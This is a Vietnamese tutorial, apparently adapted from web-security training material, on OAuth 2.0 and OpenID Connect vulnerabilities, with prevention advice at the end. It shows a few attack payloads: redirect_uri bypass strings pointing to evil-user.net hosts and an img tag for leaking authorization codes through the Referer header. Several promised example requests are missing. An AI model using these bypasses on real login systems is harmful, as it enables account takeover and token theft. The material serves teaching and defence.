Lỗ hổng xác thực OAuth 2.0
Lỗ hổng trong cơ chế xác thực của bên thứ ba (Lỗ hổng xác thực OAuth 2.0)
OAuth là gì?
OAuth là một authorization framework mà cho phép các trang web và ứng dụng web yêu cầu quyền truy cập hạn chế vào tài khoản của người dùng trên một ứng dụng khác. Quan trọng là, OAuth cho phép người dùng cấp quyền truy cập này mà không tiết lộ thông tin đăng nhập của họ cho ứng dụng yêu cầu. Nghĩa là người dùng có thể tinh chỉnh dữ liệu họ muốn chia sẻ thay vì phải trao toàn quyền kiểm soát tài khoản của mình cho bên thứ ba.
Quy trình OAuth cơ bản được sử dụng rộng rãi để tích hợp chức năng của bên thứ ba, truy cập vào một số dữ liệu nhất định từ tài khoản người dùng (như danh sách liên hệ,...). cơ chế tương tự cũng được sử dụng để cung cấp dịch vụ xác thực của bên thứ ba, cho phép người dùng đăng nhập bằng tài khoản mà họ có với một trang web khác.
Lưu ý: Mặc dù OAuth 2.0 là tiêu chuẩn hiện tại, một số trang web vẫn sử dụng phiên bản cũ 1a. OAuth 2.0 được viết lại từ đầu thay vì phát triển trực tiếp từ OAuth 1.0. Do đó, hai phiên bản này rất khác biệt.
OAuth 2.0 hoạt động như thế nào?
OAuth 2.0 cho phép chia sẻ quyền truy cập dữ liệu giữa các ứng dụng, với ba bên liên quan: ứng dụng khách (client application), người sở hữu tài nguyên (resource owner), và nhà cung cấp dịch vụ OAuth. Trong đó:
Client application là ứng dụng muốn truy cập dữ liệu của người dùng.
Resource owner là người dùng sở hữu dữ liệu mà ứng dụng muốn truy cập.
OAuth service provider là nền tảng kiểm soát dữ liệu và cung cấp API để xử lý yêu cầu truy cập.
Có nhiều cách khác nhau để triển khai quy trình OAuth thực tế, gọi là "flows" hay "grant types" của OAuth. Hai loại phổ biến nhất là "authorization code" và "implicit" grant. Các bước chính bao gồm:
Ứng dụng khách yêu cầu quyền truy cập dữ liệu, chỉ định grant type và loại quyền cần.
Người dùng đăng nhập và đồng ý cho phép truy cập.
Ứng dụng khách nhận một access token xác nhận quyền truy cập.
Ứng dụng sử dụng access token để lấy dữ liệu từ máy chủ tài nguyên (resource server).
Xác thực OAuth
OAuth ban đầu không được thiết kế cho mục đích xác thực người dùng, nhưng sau này đã được sử dụng rộng rãi để đăng nhập bằng tài khoản mạng xã hội. Khi chọn đăng nhập bằng tài khoản mạng xã hội, quá trình OAuth vẫn giữ nguyên với vài thay đổi trong cách sử dụng dữ liệu.
Trong cơ chế xác thực OAuth, quá trình diễn ra như sau:
Người dùng chọn đăng nhập bằng tài khoản mạng xã hội.
Ứng dụng khách yêu cầu quyền truy cập dữ liệu từ dịch vụ OAuth của mạng xã hội, thường là email.
Sau khi nhận token truy cập, ứng dụng khách yêu cầu dữ liệu từ máy chủ tài nguyên (ví dụ: endpoint /userinfo).
Ứng dụng dùng dữ liệu này thay cho tên người dùng để đăng nhập, và token truy cập thay cho mật khẩu truyền thống.
Quá trình này tương tự như Single Sign-On (SSO) dựa trên nhưng có các điểm khác biệt liên quan đến cách xác thực và sử dụng OAuth.
Lỗ hổng xác thực OAuth phát sinh như thế nào?
Các lỗ hổng bảo mật trong OAuth phần lớn xuất phát từ việc đặc tả kỹ thuật của OAuth khá mơ hồ và linh hoạt. Mặc dù có một số thành phần bắt buộc cho mỗi loại grant, phần lớn việc triển khai là tùy chọn, bao gồm nhiều cài đặt bảo mật quan trọng. Điều này tạo điều kiện cho những lỗi cấu hình có thể xuất hiện.
Một vấn đề khác với OAuth là thiếu các tính năng bảo mật tích hợp sẵn. Bảo mật phụ thuộc vào việc các nhà phát triển sử dụng đúng cấu hình và thực hiện các biện pháp bảo mật bổ sung như xác thực đầu vào chặt chẽ. Nếu thiếu kinh nghiệm, việc cấu hình sai là khá dễ xảy ra.
Ngoài ra, dữ liệu nhạy cảm cũng có thể được gửi qua trình duyệt tùy thuộc vào loại grant, mở ra nhiều cơ hội cho kẻ tấn công đánh cắp thông tin.
Xác định OAuth authentication
Nếu bạn thấy tùy chọn đăng nhập bằng tài khoản của mình từ một trang web khác, thì đây là dấu hiệu rõ ràng cho thấy OAuth đang được sử dụng.
Các đáng tin nhất để xác định xác thực OAuth là thông qua Burp Proxy và kiểm tra các thông báo HTTP tương ứng khi bạn sử dụng tùy chọn đăng nhập này. Bất kể loại cấp phép OAuth nào đang được sử dụng, yêu cầu đầu tiên của luồng sẽ luôn là yêu cầu đến /authorization
có chứa một số tham số truy vấn được sử dụng riêng cho OAuth. Đặc biệt, hãy chú ý đến các tham số client_id
, redirect_uri
, và response_type
. Ví dụ: yêu cầu ủy quyền thường sẽ trông giống như thế này:
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1 Host: oauth-authorization-server.com
Recon
Nghiên cứu các tương tác HTTP khác nhau trong quy trình OAuth
Nếu một dịch vụ OAuth bên ngoài được sử dụng, bạn có thể xác định nhà cung cấp cụ thể từ tên máy chủ mà yêu cầu ủy quyền được gửi đến. Vì các dịch vụ này cung cấp một API công khai, thường có tài liệu chi tiết có thể cung cấp thông tin hữu ích như tên chính xác của các endpoint và các tùy chọn cấu hình đang được sử dụng.
Khi đã biết tên máy chủ của máy chủ ủy quyền, bạn nên thử gửi yêu cầu GET đến các điểm cuối tiêu chuẩn sau:
/ .well-known/oauth-authorization-server
/ .well-known/openid-configuration
Các điểm cuối này thường trả về tệp cấu hình JSON chứa thông tin quan trọng, chẳng hạn như chi tiết về các tính năng bổ sung có thể được hỗ trợ. Đôi khi điều này sẽ tiết lộ một bề mặt tấn công rộng hơn và các tính năng hỗ trợ mà có thể không được đề cập trong tài liệu.
Khai thác lỗ hổng OAuth authentication
Lỗ hổng trong OAuth client application
Các client application thường sẽ sử dụng dịch vụ OAuth uy tín, được bảo vệ tốt trước các khai thác phổ biến. Tuy nhiên, phía triển khai của họ có thể kém an toàn hơn.
Triển khai không đúng với loại cấp quyền ngầm định
Trong luồng này, mã thông báo truy cập được gửi từ dịch vụ OAuth đến ứng dụng khách hàng thông qua trình duyệt của người dùng dưới dạng một đoạn URL. Sau đó, ứng dụng khách hàng truy cập mã thông báo bằng JavaScript. Vấn đề là, nếu ứng dụng muốn duy trì phiên sau khi người dùng đóng trang, ứng dụng cần lưu trữ dữ liệu người dùng hiện tại (thường là ID người dùng và mã thông báo truy cập) ở đâu đó.
Để giải quyết vấn đề này, client application thường gửi dữ liệu này đến server bằng POST
request và gán cho người dùng một session cookie, về cơ bản là ghi nhớ họ. Nó tương tương với như kiểu đăng nhập dựa trên mật khẩu cổ điển. Tuy nhiên, trong trường hợp này, máy chủ không có bất kỳ bí mật khẩu nào để so sánh với dữ liệu đã gửi, điều đó có nghĩa là nó được tin cậy ngầm
Trong luông ngầm, POST
request này bị kẻ tấn công tiếp cận thông qua trình duyệt của họ. Nếu client application không kiểm tra đúng cách xem access token có khớp với dữ liệu khác trong request hay không, kẻ tấn công có thể chỉ cần thay đổi các tham số được gửi đến máy chủ để mạo danh bất kỳ người dùng nào.
Bảo vệ CSRF bị lỗi
Bảo vệ CSRF trong OAuth thường dựa vào tham số state
, một giá trị không thể đoán trước liên quan đến phiên người dùng, giúp ngăn chặn các cuộc tấn công CSRF. Nếu ứng dụng không sử dụng tham số này, kẻ tấn công có thể tự khởi động quy trình OAuth và lừa người dùng hoàn tất nó, dẫn đến chiếm quyền truy cập tài khoản.
Hãy xem xét một trang web cho phép người dùng đăng nhập bằng cách sử dụng cơ chế truyền thống, dựa trên mật khẩu hoặc bằng cách liên kết tài khoản của họ với hồ sơ trên mạng xã hội bằng OAuth. Trong trường hợp này, nếu ứng dụng không sử dụng tham số state
, kẻ tấn công có thể chiếm đoạt tài khoản của người dùng bằng cách liên kết nó với tài khoản mạng xã hội của chính kẻ tấn công.
Ngay cả khi ứng dụng chỉ dùng OAuth để đăng nhập, việc thiếu tham số state
vẫn có thể gây ra các cuộc tấn công CSRF đăng nhập, trong đó người dùng bị lừa để đăng nhập vào tài khoản của kẻ tấn công.
Rò rỉ authorization code và access token
Tùy vào loại cấp quyền, code hoặc token được gửi qua trình duyệt của nạn nhân đến /callback
được chỉ định trong tham số redirect_uri
của yêu cầu ủy quyền. Nếu dịch vụ OAuth không xác thực đúng URI này, kẻ tấn công có thể xây dựng một cuộc tấn công giống như CSRF, lừa trình duyệt của nạn nhân khởi tạo luồng OAuth sẽ gửi code hoặc token đếnredirect_uri
mà kẻ tấn công điều khiển.
Tùy vào luồng cấp authorization code, kẻ tấn công có thể đánh cắp code của nạn nhân trước khi nó được sủ dụng. Sau đó, chúng có thể gửi mã này đến /callback
endpoint hợp lệ của ứng dụng khách ( redirect_uri
gốc) để truy cập vào tài khoản của người dùng.
Lưu ý rằng việc sử dụng state
hoặc nonce
không nhất thiết ngăn chặn được các cuộc tấn công này vì kẻ tấn công có thể tạo ra các giá trị mới từ trình duyệt của chúng.
Các máy chủ ủy quyền an toàn hơn sẽ yêu cầu tham số redirect_uri
được gửi khi trao đổi mã (code). Máy chủ sau đó sẽ kiểm tra xem tham số này có khớp với tham số được nhận trong yêu cầu ủy quyền ban đầu hay không và từ chối trao đổi nếu không khớp. Vì điều này xảy ra trong các yêu cầu máy chủ đến máy chủ thông qua một kênh bảo mật, kẻ tấn công không thể kiểm soát tham số redirect_uri
thứ hai này.
Xác thực redirect_uri bị lỗi
Để chống lại các cuộc tấn công đã đề cập trước đó, các tốt nhất là client application áp dụng whitelist các callback URI hợp lệ khi đăng lý với dịch vụ OAuth. Tuy nhiên, vẫn có thể có cách để bỏ qua xác thực này.
Khi kiểm tra luông OAuth, nên thử nghiệm với tham số redirect_uri
để hiểu cách nó xác thực. Ví dụ:
Một số triển khai chỉ kiểm tra xem tham số này có bắt đầu bằng đúng chuỗi nào đó. Thử xóa hoặc thêm các đường dẫn, tham số truy vấn và đoạn tùy ý để xem có thể thay đổi những gì mà không gây ra lỗi.
Nếu có thể thêm vào tham số
redirect_uri
, có thể khai thác sự khác biệt giữa việc phân tích cú pháp URI của các thành phần khác nhau của dịch vụ OAuth. Ví dụ:
https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/
https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net
Mộ số máy chủ cũng cup cấp cách xử lý đặc biệt cho
localhost
URIs thường sử dụng nó trong quá trình phát triển. Trong một số trường hợp, bất kỳ URI chuyển hướng nào bắt đầu bằnglocalhost
có thể vô tình được phép. Điều này có thể cho phép bỏ qua xác thực bằng cách đăng ký tên miền nhưlocalhost.evil-user.net
.
Trong thực tế, thường sẽ cần thử nghiệm kết hợp nhiều phương pháp. Đôi khi việc thay đổi một tham số có thể ảnh hưởng đến việc xác thực các tham số khác. Ví dụ, việc thay đổi một tham số từ response_mode
từ query
thành fragment
có thể thay đổi hoàn toàn việc phân tích cú pháp của redirect_uri
, cho phép gửi các URIs mà bình thường sẽ bị chặn . Tương tự vậy, nếu nhận thấy chế độ phản hồi web_message
được hỗ trợ, nó cho phép phạm vi subdomain rộng hơn trong redirect_uri
.
Đánh cắp code và access token thông qua trang proxy
Khi đối mặt với các hệ thống bảo mật ngăn chặn việc sử dụng tên miền bên ngoài trong tham số redirect_uri
, bạn có thể thử khai thác bằng cách thay đổi đường dẫn URI để nhắm vào các phần khác trên tên miền hợp lệ.
Chiến lược khai thác:
Xác định và thay đổi đường dẫn URI:
Thay vì sử dụng
redirect_uri
mặc định như/oauth/callback
, bạn có thể thử truy cập các đường dẫn khác trên cùng tên miền. Một cách phổ biến là sử dụng kỹ thuật traversal thư mục:
Hệ thống có thể diễn giải thành:
Khám phá các trang trong cùng tên miền:
Tìm các trang khác mà bạn có thể sử dụng làm đích cho
redirect_uri
. Những trang này có thể chứa lỗ hổng mà bạn có thể lợi dụng để rò rỉ mã ủy quyền (authorization code) hoặc mã truy cập (access token).
Khai thác lỗ hổng chuyển hướng mở (Open Redirect):
Nếu trang được chuyển hướng bị lỗ hổng open redirect, bạn có thể chuyển hướng người dùng đến một miền do bạn kiểm soát để đánh cắp mã ủy quyền hoặc mã truy cập của họ. Ví dụ:
Khai thác luồng implicit (Implicit Flow):
Trong trường hợp sử dụng implicit flow, mã truy cập có thể bị rò rỉ thông qua URL fragment, giúp bạn có thể truy vấn API máy chủ tài nguyên để lấy dữ liệu nhạy cảm.
Bên cạnh việc tìm kiếm lỗ hổng chuyển hướng mở (open redirects), cũng nên xem xét các lỗ hổng khác cho phép trích xuất mã (code) hoặc token và gửi chúng đến một miền bên ngoài. Dưới đây là một số ví dụ phổ biến:
JavaScript không an toàn xử lý và :
Các đoạn mã JavaScript không an toàn, đặc biệt là những đoạn mã xử lý việc truyền thông giữa các trang web (web messaging), có thể là điểm khai thác tốt cho việc này. Trong một số trường hợp, có thể cần phải xác định một chuỗi khai thác dài để cho phép truyền token qua nhiều script trước khi cuối cùng gửi nó đến miền bên ngoài do bạn kiểm soát.
Lỗ hổng XSS (Cross-Site Scripting):
XSS có thể gây ra hậu quả nghiêm trọng, nhưng khoảng thời gian mà kẻ tấn công có thể truy cập vào phiên của người dùng thường ngắn, nhất là khi người dùng đóng tab hoặc chuyển sang trang khác. Hơn nữa, thuộc tính
HTTPOnly
thường được sử dụng cho cookie phiên, điều này khiến kẻ tấn công không thể truy cập trực tiếp cookie đó thông qua XSS.Tuy nhiên, bằng cách đánh cắp OAuth code hoặc token, kẻ tấn công có thể truy cập vào tài khoản của người dùng trên trình duyệt của chính họ. Điều này mang lại cho họ nhiều thời gian hơn để khám phá dữ liệu của người dùng và thực hiện các hành động nguy hiểm, từ đó tăng mức độ nghiêm trọng của lỗ hổng XSS.
Lỗ hổng tiêm HTML (HTML Injection):
Trong những trường hợp không thể chèn JavaScript (chẳng hạn do chính sách CSP nghiêm ngặt hoặc bộ lọc mạnh), vẫn có thể sử dụng tiêm HTML đơn giản để đánh cắp mã xác thực (authorization code). Nếu có thể điều chỉnh tham số
redirect_uri
để trỏ đến một trang mà có thể chèn nội dung HTML của mình, bạn có thể khai thác mã thông quaReferer
header.Ví dụ, hãy xem xét thẻ
img
như sau:<img src="evil-user.net">
. Khi trình duyệt cố gắng tải hình ảnh này, một số trình duyệt (như Firefox) sẽ gửi toàn bộ URL, bao gồm cả chuỗi truy vấn, trongReferer
header của request.
Lỗ hổng xác thực phạm vi (Flawed Scope Validation)
Lỗ hổng xác thực phạm vi (scope) trong OAuth có thể cho phép kẻ tấn công "nâng cấp" token truy cập (access token) để có thêm quyền mà không cần sự chấp thuận bổ sung của người dùng. Việc này có thể xảy ra do quy trình xác thực phạm vi bị lỗi trong dịch vụ OAuth. Quy trình thực hiện việc này phụ thuộc vào loại cấp quyền.
Nâng cấp phạm vi trong Authorization Code Flow
Trong quy trình này, quyền truy cập dữ liệu của người dùng thường diễn ra thông qua giao tiếp an toàn giữa các máy chủ. Tuy nhiên, kẻ tấn công có thể lợi dụng lỗ hổng bằng cách đăng ký ứng dụng độc hại của riêng mình với dịch vụ OAuth
Ví dụ, ứng dụng của kẻ tấn công ban đầu yêu cầu quyền truy cập email của người dùng với phạm vi
openid email
. Sau khi người dùng chấp thuận, ứng dụng nhận được mã xác thực (authorization code). Kẻ tấn công sau đó có thể thêm phạm viprofile
khi gửi yêu cầu trao đổi mã xác thực lấy token:
Nếu dịch vụ OAuth không kiểm tra lại phạm vi so với yêu cầu ban đầu, nó có thể tạo ra một token truy cập mới với các phạm vi bổ sung:
Kẻ tấn công sau đó có thể sử dụng token này để truy cập thêm dữ liệu từ API, ví dụ như thông tin hồ sơ của người dùng.
Nâng cấp phạm vi trong Implicit Flow:
Trong implicit flow, token truy cập được gửi qua trình duyệt, cho phép kẻ tấn công đánh cắp token của các ứng dụng hợp lệ và sử dụng trực tiếp.
Kẻ tấn công có thể sử dụng token bị đánh cắp để gửi yêu cầu đến endpoint
/userinfo
của dịch vụ OAuth và thêm phạm vi mới:
Nếu dịch vụ OAuth không xác minh phạm vi yêu cầu so với phạm vi đã cấp ban đầu, kẻ tấn công có thể truy cập dữ liệu bổ sung mà không cần sự chấp thuận thêm từ người dùng.
Giải pháp phòng tránh:
Dịch vụ OAuth cần kiểm tra kỹ lưỡng phạm vi được yêu cầu tại mọi bước trong quy trình xác thực, đảm bảo rằng token truy cập không được cấp phép vượt quá phạm vi đã được người dùng chấp thuận ban đầu
Mở rộng OAuth với OpenID Connect
OpenID Connect là gì?
OpenID Connect là một lớp nhận dạng và xác thực được mở rộng từ giao thức OAuth, giúp hỗ trợ tốt hơn cho việc xác thực người dùng. Trong khi OAuth ban đầu được thiết kế để ủy quyền truy cập vào tài nguyên giữa các ứng dụng, nhiều website đã tùy chỉnh OAuth để sử dụng làm cơ chế xác thực, nhưng điều này không lý tưởng.
Các cơ chế xác thực dựa trên OAuth truyền thống có nhiều hạn chế, như không cung cấp thông tin chi tiết về việc người dùng được xác thực ra sao, ở đâu, và khi nào. Đồng thời, mỗi nhà cung cấp OAuth lại có các cơ chế riêng với các endpoint và scope khác nhau, gây khó khăn cho việc tích hợp.
OpenID Connect giải quyết những vấn đề này bằng cách thêm các tính năng nhận dạng chuẩn hóa, giúp việc xác thực qua OAuth trở nên đồng nhất và đáng tin cậy hơn.
Các hoạt động của OpenID Connect
OpenID Connect tích hợp mượt mà vào các luồng OAuth hiện có. Điểm khác biệt chính đối với ứng dụng khách là việc bổ sung các scope chuẩn hóa và việc giới thiệu loại phản hồi id_token
.
Vai Trò Trong OpenID Connect
Relying Party (RP): Ứng dụng khách yêu cầu xác thực người dùng (tương đương với client trong OAuth).
End User: Người dùng đang được xác thực (tương đương với chủ sở hữu tài nguyên trong OAuth).
OpenID Provider (OP): Dịch vụ OAuth hỗ trợ OpenID Connect.
Claims và Scopes Trong OpenID Connect
Claims: Đây là các cặp key-value đại diện cho thông tin người dùng, chẳng hạn như
"family_name":"Nguyễn"
.Scopes: Không giống như OAuth, OpenID Connect sử dụng các scope nhất quán giữa các nhà cung cấp. Để sử dụng OpenID Connect, client phải chỉ định scope
openid
trong yêu cầu cấp quyền, cùng với các scope chuẩn khác như:profile
email
address
phone
Những scope này tương ứng với các claims cụ thể, cho phép client truy cập dữ liệu người dùng như tên, email, và địa chỉ.
ID Token
Tính năng chính của OpenID Connect là id_token
, một JSON Web Token (JWT) được ký bằng JSON Web Signature (JWS). Nó chứa:
Các claims dựa trên scope được yêu cầu (ví dụ: dữ liệu danh tính người dùng).
Chi tiết về cách và thời điểm người dùng đã được xác thực.
id_token
giúp giảm số lượng yêu cầu giữa client và dịch vụ OAuth. Thay vì cần yêu cầu cả access token và dữ liệu người dùng, ID token cung cấp thông tin này ngay sau khi xác thực.
Chữ ký JWT trong ID token đảm bảo tính toàn vẹn dữ liệu, giúp bảo vệ chống lại một số cuộc tấn công man-in-the-middle. Tuy nhiên, vẫn có thể xảy ra tấn công do các khóa mật mã được công khai qua các endpoint như /.well-known/jwks.json
.
Nhiều Loại Phản Hồi
OpenID Connect hỗ trợ nhiều loại phản hồi. Ví dụ:
response_type=id_token token
response_type=id_token code
Điều này cho phép một ứng dụng khách nhận cả ID token và một OAuth access token hoặc mã cấp quyền cùng một lúc.
Cách xác định OpenID Connect
Để kiểm tra xem OpenID Connect có đang được sử dụng không, hãy tìm scope
openid
trong yêu cầu cấp quyền.Ngay cả khi không thấy dấu hiệu rõ ràng, bạn vẫn nên thử thêm scope
openid
hoặc đổi loại phản hồi thànhid_token
để xem có xảy ra lỗi không.Nên xem qua tài liệu của nhà cung cấp OAuth hoặc truy cập endpoint tiêu chuẩn
/.well-known/openid-configuration
để kiểm tra thông tin về hỗ trợ OpenID Connect.
Lỗ hổng OpenID Connect
Unprotected dynamic client registration
Đăng ký động cho phép ứng dụng khách tự đăng ký với nhà cung cấp OpenID bằng cách gửi một yêu cầu POST đến endpoint
/registration
.Yêu cầu này thường chứa thông tin quan trọng dưới dạng JSON, như danh sách các redirect URIs được chấp nhận, tên ứng dụng, và các thông tin khác.
Ví dụ về yêu cầu đăng ký:
Rủi ro khi đăng ký động không được bảo vệ:
Xác thực khách hàng: Nhà cung cấp OpenID nên yêu cầu ứng dụng khách xác thực trước khi cho phép đăng ký. Tuy nhiên, nếu không yêu cầu xác thực, kẻ tấn công có thể đăng ký ứng dụng khách độc hại của riêng họ.
Nguy cơ SSRF: Nếu một số thuộc tính trong yêu cầu, như URIs, được truy cập bởi nhà cung cấp OpenID, có thể dẫn đến các lỗ hổng SSRF (Server-Side Request Forgery) nếu không có biện pháp bảo mật bổ sung.
Allowing authorization requests by reference
Phương pháp yêu cầu qua tham số request_uri
:
Thay vì gửi các tham số yêu cầu qua chuỗi truy vấn, một số nhà cung cấp OpenID cho phép gửi tham số dưới dạng JSON Web Token (JWT).
Khi tính năng này được hỗ trợ, bạn có thể gửi tham số
request_uri
trỏ đến một JWT chứa các tham số OAuth và giá trị của chúng.
Rủi ro và lỗ hổng có thể xảy ra:
Nguy cơ SSRF: Nếu
request_uri
trỏ đến một URL có thể bị lạm dụng, điều này có thể dẫn đến lỗ hổng SSRF (Server-Side Request Forgery).Bỏ qua kiểm tra giá trị tham số: Một số máy chủ có thể thực hiện kiểm tra giá trị tham số trong chuỗi truy vấn nhưng không áp dụng cùng mức kiểm tra cho các tham số trong JWT, bao gồm
redirect_uri
.
Kiểm tra hỗ trợ tính năng:
Tìm trong tài liệu và cấu hình: Kiểm tra tùy chọn
request_uri_parameter_supported
trong tài liệu hoặc cấu hình của nhà cung cấp.Thử nghiệm: Thêm tham số
request_uri
vào yêu cầu để xem liệu nó có được hỗ trợ hay không, vì một số máy chủ có thể hỗ trợ tính năng này dù không nêu rõ trong tài liệu.
Ngăn chặn
Để ngăn ngừa các lỗ hổng xác thực OAuth, cả nhà cung cấp dịch vụ OAuth và ứng dụng khách cần triển khai các biện pháp xác thực mạnh mẽ cho các đầu vào quan trọng, đặc biệt là tham số redirect_uri
. Vì OAuth không có sẵn nhiều biện pháp bảo vệ nên các nhà phát triển cần chủ động bảo mật quy trình OAuth.
Đối với nhà cung cấp dịch vụ OAuth:
Yêu cầu ứng dụng khách đăng ký whitelist các
redirect_uris
hợp lệ. Cần sử dụng so sánh byte-for-byte để xác thực URI trong mọi yêu cầu, chỉ chấp nhận các URL chính xác thay vì sử dụng so khớp mẫu. Điều này ngăn chặn kẻ tấn công truy cập các trang khác trên tên miền được phê duyệt.Buộc sử dụng tham số
state
. Giá trị của tham số này nên được gắn kết với phiên người dùng bằng cách bao gồm dữ liệu không thể đoán trước, như một hash chứa cookie phiên. Điều này bảo vệ người dùng khỏi các cuộc tấn công tương tự CSRF và giúp ngăn chặn việc sử dụng mã xác thực bị đánh cắp.Trên máy chủ tài nguyên, hãy kiểm tra rằng token truy cập được cấp cho cùng
client_id
đang thực hiện yêu cầu và đảm bảo phạm vi được yêu cầu khớp với phạm vi đã được cấp ban đầu.
Đối với ứng dụng khách OAuth:
Hiểu rõ cách hoạt động của OAuth trước khi triển khai. Nhiều lỗ hổng phát sinh do thiếu hiểu biết về các bước trong quy trình OAuth và cách chúng có thể bị khai thác.
Sử dụng tham số
state
dù nó không bắt buộc.Gửi tham số
redirect_uri
không chỉ đến endpoint/authorization
mà còn đến endpoint/token
.Trong ứng dụng OAuth di động hoặc desktop, khi không thể giữ bí mật
client_secret
, hãy sử dụng cơ chế (RFC 7636) để cung cấp thêm bảo vệ chống lại việc đánh cắp mã truy cập.Nếu sử dụng id_token của OpenID Connect, đảm bảo xác thực nó đúng theo các tiêu chuẩn JSON Web Signature, JSON Web Encryption và OpenID.
Cẩn thận với mã xác thực, vì chúng có thể bị rò rỉ qua các khi tải nội dung từ các miền bên ngoài. Không nên bao gồm chúng trong các file JavaScript được tạo động, vì chúng có thể được thực thi từ các miền bên ngoài qua thẻ
<script>
.
Last updated